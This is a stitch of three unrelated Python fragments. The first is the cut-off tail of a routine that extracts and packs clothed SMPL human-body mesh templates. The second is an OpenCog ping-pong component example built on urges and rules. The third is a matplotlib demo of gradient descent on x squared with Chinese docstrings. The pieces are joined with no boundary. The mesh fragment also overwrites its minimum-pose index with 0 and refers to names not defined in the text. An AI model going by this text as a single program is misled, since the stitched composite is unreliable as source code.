                                       cpose_smpl_mesh_path=join(opt['data_templates_path'], opt['datamodule']['subject'], opt['datamodule']['subject'] + '_minimal_cpose.ply'),
                                       cpose_weight_grid_path=join(opt['data_templates_path'], opt['datamodule']['subject'], opt['datamodule']['subject'] + '_cano_lbs_weights_grid_float32.npy'),
                                       meta_info=meta_info,
                                       device=opt['device'],
                                       data_processor=None).to(opt['device'])

    model.load_state_dict(torch.load(checkpoint_path))
    model.deformer.init_bones = np.arange(24)
    model.eval()

    # pose format conversion
    smplx_to_smpl = list(range(66)) + [72, 73, 74, 117, 118, 119]  # SMPLH to SMPL

    # load motion sequence
    motion_path = join(opt['data_scans_path'], opt['datamodule']['subject'], 'train')
    if os.path.isdir(motion_path):
        motion_files = sorted(glob.glob(os.path.join(motion_path, '*.npz')))
        smpl_params_all = []
        for f in motion_files:
            f = np.load(f)
            smpl_params = np.zeros(86)
            smpl_params[0], smpl_params[4:76] = 1, f['pose']
            smpl_params = torch.tensor(smpl_params).float().to(opt['device'])
            smpl_params_all.append(smpl_params)
        smpl_params_all = torch.stack(smpl_params_all)

    elif '.npz' in motion_path:
        f = np.load(motion_path)
        smpl_params_all = np.zeros( (f['poses'].shape[0], 86) )
        smpl_params_all[:,0] = 1
        if f['poses'].shape[-1] == 72:
            smpl_params_all[:, 4:76] = f['poses']
        elif f['poses'].shape[-1] == 156:
            smpl_params_all[:, 4:76] = f['poses'][:,smplx_to_smpl]

        root_abs = smpl_params_all[0, 4:7].copy()
        for i in range(smpl_params_all.shape[0]):
            smpl_params_all[i, 4:7] = rectify_pose(smpl_params_all[i, 4:7], root_abs)

        smpl_params_all = torch.tensor(smpl_params_all).float().to(opt['device'])

    ### NOTE choose only min l1-norm pose
    l1_norm_pose = smpl_params_all.abs().sum(-1)    # [n_poses,]
    min_pose_id = l1_norm_pose.argmin()
    min_pose_id = 0
    smpl_params_all = smpl_params_all[min_pose_id][None]

    # generate data batch
    smpl_params = smpl_params_all
    data = model.smpl_server.forward(smpl_params, absolute=True)
    data['smpl_thetas'] = smpl_params[:, 4:76]

    print(f'[LOG] extracting implicit templates')
    # low resolution mesh
    results_lowres = model.plot(data, res=opt['extraction']['resolution_low'])
    results_lowres['mesh_cano'].export(join(opt['data_templates_path'], subject, f'{subject}_cano_mesh_{opt["extraction"]["resolution_low"]}.ply'))
    print(f'[LOG] extracted mesh at resolution {opt["extraction"]["resolution_low"]}. saving it at ' + join(opt['data_templates_path'], subject, f'{subject}_cano_mesh_{opt["extraction"]["resolution_low"]}.ply'))

    # high resolution mesh
    results_highres = model.plot(data, res=opt['extraction']['resolution_high'])
    results_highres['mesh_cano'].export(join(opt['data_templates_path'], subject, f'{subject}_cano_mesh_{opt["extraction"]["resolution_high"]}.ply'))
    print(f'[LOG] extracted mesh at resolution {opt["extraction"]["resolution_high"]}. saving it at ' + join(opt['data_templates_path'], subject, f'{subject}_cano_mesh_{opt["extraction"]["resolution_high"]}.ply'))

    print(f'[LOG] downsampling the high resolution mesh and packing the clothed template')
    verts_mesh = results_lowres['mesh_cano'].vertices
    faces_mesh = results_lowres['mesh_cano'].faces
    weights_mesh = results_lowres['weights_cano'].cpu().numpy()

    points = torch.from_numpy(results_highres['mesh_cano'].vertices).float()[None].to(opt['device'])
    downsampled_points, downsampled_indices = sample_farthest_points(points, K=opt['n_cano_points'])

    verts_downsampled = downsampled_points[0].cpu().numpy()
    normals_downsampled = results_highres['mesh_cano'].vertex_normals[downsampled_indices[0].cpu().numpy()]
    weights_downsampled = results_highres['weights_cano'].cpu().numpy()[downsampled_indices[0].cpu().numpy()]

    verts_tpose = v_template

    np.savez(join(opt['data_templates_path'], f'{subject}_clothed_template.npz'),
            verts_mesh=verts_mesh,
            faces_mesh=faces_mesh,
            weights_mesh=weights_mesh,
            verts_downsampled=verts_downsampled,
            normals_downsampled=normals_downsampled,
            weights_downsampled=weights_downsampled,
            verts_tpose=verts_tpose)

    print(f'[LOG] clothed template packed at ' + join(opt['data_templates_path'], f'{subject}_clothed_template.npz'))


# This expands on the `ping.py` example by adding a pong component. Thus,
# start by importing defined objects from it.
from ping import *

# Exapnd ball states
ponged = ConceptNode("ponged")

# Expand pinging rules
ping_context_2 = [StateLink(ball, state_var), EqualLink(state_var, ponged)]

op.add_rule(
    ping_context_2, ping_action, ping_goal, TruthValue(1, 1), ping_component
)

# ----------------------------------------------------------------------
# DEFINING PONGING
# ----------------------------------------------------------------------
# Define pong contexts
pong_context = [StateLink(ball, state_var), EqualLink(state_var, pinged)]

# Define pong goal
pong_goal = op.create_goal("pong", 1)

# Define ping action
def pong():
    time.sleep(1)
    print("\nJust ponged\n")
    StateLink(ball, ponged)
    # The side-effect of the action decreases the urge.
    return op.decrease_urge(pong_goal, 1)

pong_action = ExecutionOutputLink(GroundedSchemaNode("py: pong"), ListLink())

# Define pong component that uses custom step in place of `psi-step` and
# default action-selector `psi-get-satisfiable-rules`, which are defined in
# scheme.
def pong_step():
    time.sleep(3)
    urge = op.get_urge(pong_goal)
    if urge < 0.7:
        print("\nNot yet feeling like ponging the ball. Urge = %f\n" % urge)
        op.increase_urge(pong_goal, 0.2)
    else:
        print("\nFeeling like ponging the ball. Urge = %f\n" % urge)
        op.increase_urge(pong_goal, 0.2)
        op.step(ConceptNode("pong"))

    return TruthValue(1, 1)

pong_stepper = EvaluationLink(
    GroundedPredicateNode("py: pong_step"), ListLink()
)

pong_component = op.create_component("pong", pong_stepper)

# Replace the default action-selector of the pong component.
def pong_action_selector():
    return op.get_satisfiable_rules(pong_component)

op.set_action_selector(
    pong_component,
    ExecutionOutputLink(
        GroundedSchemaNode("py: pong_action_selector"), ListLink()
    ),
)

# Define pong rules
op.add_rule(
    pong_context, pong_action, pong_goal, TruthValue(1, 1), pong_component
)

# ----------------------------------------------------------------------
# Start ping and pong components
# op.run(pong_component)
# op.run(ping_component)

# Stop ping and pong components
# op.halt(ping_component)
# op.halt(pong_component)


#!/usr/bin/env python
# -*- coding: utf-8 -*-

"""
    Description : This is for demo of using matplotlib in gradient descent
    Authors     : tanzhongyi(tanzhongyi@baidu.com)
    Date        : 2017-12-18
"""
import matplotlib.pyplot as plt
import numpy as np

def square_func(v_x):
    """
    构建目标函数实现
    args:
        x: 自变量
    return:
        np.square(x): 目标函数
    """
    return np.square(v_x)

def derivative_func(v_x):
    """
    目标函数一阶导数也即是偏导数实现
    args:
        x: 目标函数
    return:
        2 * x: 目标函数一阶导数
    """
    return 2 * v_x

def gradient_descent(x_start, deri_func, iterations, learning_rate):
    """
    梯度下降法函数
    args:
        x_start: x的起始点
        deri_func: 目标函数的一阶导函数
        iterations: 迭代次数
        learning_rate: 学习率
        x在每次迭代后的位置（包括起始点），长度为iterations+1
    return:
        xs: 求在epochs次迭代后x的更新值
    """
    xs = np.zeros(iterations + 1)
    x = x_start
    xs[0] = x
    for i in range(iterations):
        dx = deri_func(x)
        x = x - dx * learning_rate
        xs[i + 1] = x
    return xs

def mat_plot():
    """
    using matplotlib to draw gradient descent graph
    """
    line_x = np.linspace(- 5, 5, 100)
    line_y = square_func(line_x)
    x_start = - 5
    iterations = 50
    learning_rate = 0.7
    x = gradient_descent(x_start, derivative_func, iterations, learning_rate)

    # 绘制二阶曲线
    plt.plot(line_x, line_y, c='b')

    # 绘制梯度下降过程的点
    plt.scatter(x, square_func(x), c='r', )
    plt.plot(x, square_func(x), c='r',
             label='learning rate={}'.format(learning_rate))

    # legend函数显示图例
    plt.legend()
    # show函数显示
    plt.show()

if __name__ == "__main__":
    mat_plot()